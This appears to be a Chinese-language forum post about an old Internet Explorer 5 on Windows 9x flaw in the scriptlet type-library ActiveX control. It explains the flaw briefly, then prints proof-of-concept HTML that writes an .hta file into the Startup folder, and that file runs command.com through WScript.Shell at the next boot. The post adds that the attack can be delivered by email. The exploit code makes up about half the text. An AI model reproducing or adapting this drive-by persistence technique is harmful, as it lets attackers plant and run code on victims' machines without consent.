这好象不是漏洞吧,早就有了。
漏洞如下:
在Win9x下(不知道在NT下的情况),IE5可以利用生成或者覆盖本地文件的方法来执行本地计算机中的任意程序,这个问题出在ActiveX Control "Object for Constructing type libraries for scriptlets"。它允许生成和覆盖本地文件,或者在任意文件中增加更多的一些内容。那么一段利用了这个漏洞的HTML就可以写入一个HTML Application File(*.hta)到开始菜单里面“程序”中的“启动”,当用户再次启动机器(或者被强迫重启),那么这个HTML Application文件就会被执行。这个漏洞可以通过E-mail来执行。
这里提供一个示范的地址:http://www.nat.bg/~joro/scrtlb.html
代码如下:
<object id="scr"
classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"
>
</object>
<SCRIPT>
scr.Reset();
scr.Path="C://windows//Start Menu//Programs//StartUp//guninski.hta";
scr.Doc="<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert('Written
by Georgi Guninski
http://www.nat.bg/~joro');wsh.Run('c://command.com');</"+"SCRIPT>";
scr.write();
</SCRIPT>
</object>